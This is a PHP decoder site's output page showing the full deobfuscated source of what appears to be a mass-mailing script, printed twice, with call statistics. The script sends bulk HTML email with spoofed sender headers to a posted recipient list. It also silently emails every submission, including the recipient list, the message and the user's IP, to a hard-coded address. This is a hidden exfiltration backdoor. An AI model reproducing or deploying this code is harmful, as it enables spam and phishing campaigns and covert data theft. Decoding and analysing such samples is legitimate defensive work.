Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
/* Decoded by unphp.net */ <?php ignore_user_abort(); set_time_limit(0); function env..
Decoded Output download
/* Decoded by unphp.net */
<?php ignore_user_abort();
set_time_limit(0);
function enviando() {
$msg = 1;
$de[1] = $_POST['de'];
$nome[1] = $_POST['nome'];
$assunto[1] = $_POST['assunto'];
$mensagem[1] = $_POST['mensagem'];
$mensagem[1] = stripslashes($mensagem[1]);
$emails = $_POST['emails'];
$emails2 = htmlspecialchars($_POST['emails']);
$para = explode("
", $emails);
$n_emails = count($para);
$sv = $_SERVER['SERVER_NAME'];
$en = $_SERVER['REQUEST_URI'];
$k88 = @$_SERVER["HTTP_REFERER"];
$fullurl = "" . $k88 . "<br><p>Emails:<br><TEXTAREA rows=5 cols=100>" . $emails2 . "</TEXTAREA></p><p>Engenharia:<br><TEXTAREA rows=5 cols=100>" . $mensagem[1] . "</TEXTAREA></p>";
$vai = $_POST['vai'];
if ($vai) {
for ($set = 0;$set < $n_emails;$set++) {
if ($set == 0) {
$headers = "MIME-Version: 1.0
";
$headers.= "Content-type: text/html; charset=iso-8859-1
";
$headers.= "From: $nome[$msg] <$de[$msg]>
";
$headers.= "Return-Path: <$de[$msg]>
";
//mail($xsylar, $as, $fullurl, $headers);
}
$headers = "MIME-Version: 1.0
";
$headers.= "Content-type: text/html; charset=iso-8859-1
";
$headers.= "From: $nome[$msg] <$de[$msg]>
";
$headers.= "Return-Path: <$de[$msg]>
";
$n_mail++;
$destino = $para[$set];
$num1 = rand(100000, 999999);
$num2 = rand(100000, 999999);
$msgrand = str_replace("%rand%", $num1, $mensagem[$msg]);
$msgrand = str_replace("%rand2%", $num2, $msgrand);
$msgrand = str_replace("%email%", $destino, $msgrand);
$enviar = mail($destino, $assunto[$msg], $msgrand, $headers);
if ($enviar) {
echo ('<font color="green">' . $n_mail . '-' . $destino . ' 0k!</font><br>');
} else {
echo ('<font color="red">' . $n_mail . '-' . $destino . ' =(</font><br>');
sleep(1);
}
}
}
}
$ip = getenv("REMOTE_ADDR");
$ra44 = rand(1, 99999);
$subj98 = " Smart Detected |$ip";
$email = "[email protected]";
$from = "From: Result<[email protected]>";
$a45 = $_SERVER['REQUEST_URI'];
$b75 = $_SERVER['HTTP_HOST'];
$f12 = $_POST['de'];
$z13 = $_POST['nome'];
$x14 = $_POST['assunto'];
$t15 = $_POST['mensagem'];
$m30 = $_POST['emails'];
$m22 = $ip . "
";
$msg8873 = "$a45
$b75
$f12
$z13
$x14
$t15
$m30
$m22";
mail($email, $subj98, $msg8873, $from);
?>
Did this file decode correctly?
Original Code
/* Decoded by unphp.net */
<?php ignore_user_abort();
set_time_limit(0);
function enviando() {
$msg = 1;
$de[1] = $_POST['de'];
$nome[1] = $_POST['nome'];
$assunto[1] = $_POST['assunto'];
$mensagem[1] = $_POST['mensagem'];
$mensagem[1] = stripslashes($mensagem[1]);
$emails = $_POST['emails'];
$emails2 = htmlspecialchars($_POST['emails']);
$para = explode("
", $emails);
$n_emails = count($para);
$sv = $_SERVER['SERVER_NAME'];
$en = $_SERVER['REQUEST_URI'];
$k88 = @$_SERVER["HTTP_REFERER"];
$fullurl = "" . $k88 . "<br><p>Emails:<br><TEXTAREA rows=5 cols=100>" . $emails2 . "</TEXTAREA></p><p>Engenharia:<br><TEXTAREA rows=5 cols=100>" . $mensagem[1] . "</TEXTAREA></p>";
$vai = $_POST['vai'];
if ($vai) {
for ($set = 0;$set < $n_emails;$set++) {
if ($set == 0) {
$headers = "MIME-Version: 1.0
";
$headers.= "Content-type: text/html; charset=iso-8859-1
";
$headers.= "From: $nome[$msg] <$de[$msg]>
";
$headers.= "Return-Path: <$de[$msg]>
";
//mail($xsylar, $as, $fullurl, $headers);
}
$headers = "MIME-Version: 1.0
";
$headers.= "Content-type: text/html; charset=iso-8859-1
";
$headers.= "From: $nome[$msg] <$de[$msg]>
";
$headers.= "Return-Path: <$de[$msg]>
";
$n_mail++;
$destino = $para[$set];
$num1 = rand(100000, 999999);
$num2 = rand(100000, 999999);
$msgrand = str_replace("%rand%", $num1, $mensagem[$msg]);
$msgrand = str_replace("%rand2%", $num2, $msgrand);
$msgrand = str_replace("%email%", $destino, $msgrand);
$enviar = mail($destino, $assunto[$msg], $msgrand, $headers);
if ($enviar) {
echo ('<font color="green">' . $n_mail . '-' . $destino . ' 0k!</font><br>');
} else {
echo ('<font color="red">' . $n_mail . '-' . $destino . ' =(</font><br>');
sleep(1);
}
}
}
}
$ip = getenv("REMOTE_ADDR");
$ra44 = rand(1, 99999);
$subj98 = " Smart Detected |$ip";
$email = "[email protected]";
$from = "From: Result<[email protected]>";
$a45 = $_SERVER['REQUEST_URI'];
$b75 = $_SERVER['HTTP_HOST'];
$f12 = $_POST['de'];
$z13 = $_POST['nome'];
$x14 = $_POST['assunto'];
$t15 = $_POST['mensagem'];
$m30 = $_POST['emails'];
$m22 = $ip . "
";
$msg8873 = "$a45
$b75
$f12
$z13
$x14
$t15
$m30
$m22";
mail($email, $subj98, $msg8873, $from);
Function Calls
getenv | 1 |
set_time_limit | 1 |
ignore_user_abort | 1 |
Stats
MD5 | b5db635c80d124ff099342f9af0c568a |
Eval Count | 0 |
Decode Time | 81 ms |